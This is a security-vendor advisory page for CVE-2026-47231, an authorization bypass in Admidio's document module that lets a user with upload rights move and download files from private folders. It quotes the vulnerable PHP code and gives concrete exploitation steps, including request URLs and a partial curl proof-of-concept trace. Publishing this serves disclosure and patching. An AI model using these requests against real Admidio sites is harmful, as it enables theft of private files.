Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-47231 — admidio

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-639 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Admidio has IDOR in documents-files.php mode=move_save that lets any folder-uploader exfiltrate files from private folders

Summary

modules/documents-files.php gates state-changing modes by checking that the actor has hasUploadRight() on the URL parameter folder_uuid. The move_save handler then operates on a *separate* URL parameter file_uuid and calls File::moveToFolder($destFolderUUID). File::moveToFolder() checks the upload right on the destination folder but never on the source folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level rights check binds to URL folder_uuid:

```php

if ($getMode != 'list' && $getMode != 'download') {

// check the rights of the current folder

// user must be administrator or must have the right to upload files

$folder = new Folder($gDb);

$folder->getFolderForDownload($getFolderUUID);

if (!$folder->hasUploadRight()) {

$gMessage->show($gL10n->get('SYS_NO_RIGHTS'));

// => EXIT

}

}

```

modules/documents-files.php:187-204 — the move_save branch loads the file by UUID without revalidating the file's actual parent folder:

```php

case 'move_save':

$documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);

$formValues = $documentsFilesMoveForm->validate($_POST);

if ($getFileUUID !== '') {

$file = new File($gDb);

$file->readDataByUuid($getFileUUID); // <-- no permission check on the file's source folder

$file->moveToFolder($formValues['adm_destination_folder_uuid']);

} else {

$folder = new Folder($gDb);

$folder->readDataByUuid($getFolderUUID);

$folder->moveToFolder($formValues['adm_destination_folder_uuid']);

}

$gNavigation->deleteLastUrl();

echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));

break;

```

src/Documents/Entity/File.php:212-223moveToFolder checks only the destination:

```php

public function moveToFolder(string $destFolderUUID)

{

$folder = new Folder($this->db);

$folder->readDataByUuid($destFolderUUID);

if ($folder->hasUploadRight()) { // <-- destination only

FileSystemUtils::moveFile($this->getFullFilePath(),

$folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));

$this->setValue('fil_fol_id', $folder->getValue('fol_id'));

$this->save();

}

}

```

There is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The file_uuid URL parameter is independent of folder_uuid, so an attacker can pass folder_uuid=<a folder I can upload to> together with file_uuid=<a file in a folder I cannot read>. The top-level rights check passes; the destination check passes; the file is moved.

Exploitation Primitive

1. Attacker user lowuser holds folder_upload on a single Documents folder public_uploadable (UUID c41a99c0-…). They have no view or edit rights on private_admin_only (UUID db1f71b9-…, which is a role-restricted folder containing private_to_delete.txt, UUID 559ed352-…).

2. Render the move form with mismatched UUIDs to register a form key in the session:

GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…

3. Submit move_save with the same mismatch:

POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-… with adm_csrf_token=<from step 2> and adm_destination_folder_uuid=c41a99c0-…. Server replies {"status":"success"}. The private_to_delete.txt row in adm_files now has fil_fol_id pointing at the public-uploadable folder.

4. Download the file from its new (publicly-accessible) location:

GET /modules/documents-files.php?mode=download&file_uuid=559ed352-… returns the bytes of private_to_delete.txt.

PoC

Tested live on HEAD c5cde53. The trace below is the agent-captured run; I verified the code paths against the source listed above.

```

# 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable)

$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-…

"You do not have the required permission to perform this action."

# 1. render the move form using the public folder UUID (where lowuser has upload right)

# paired with the PRIVATE file UUID

$ curl -sb $cookie \

"http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…"

# form rendered, CSRF token X

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-47231 is classified as CWE-639: Authorization Bypass Through User-Controlled Key. An object is selected by an identifier from the request without checking the caller owns it.

Affected software

CVE-2026-47231 is recorded against 2 packages.

  • admidio/admidio (fixed in 5.0.10)
  • unknown

Timeline and source

Published on 29 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)

Other advisories for this package

admidio/admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-639: Authorization Bypass Through User-Controlled Key) in other software:

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE CWE-639
Public Exploit ✅ No
Source NVD
Published 2026-05-29
Updated 2026-08-20
Modified 2026-05-29
Fix URL N/A

Affected Packages

Software From version Fixed in
admidio/admidio 5.0.10
unknown

Similar Threats

Site Security Check

Is admidio part of your stack?

CVE-2026-47231 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026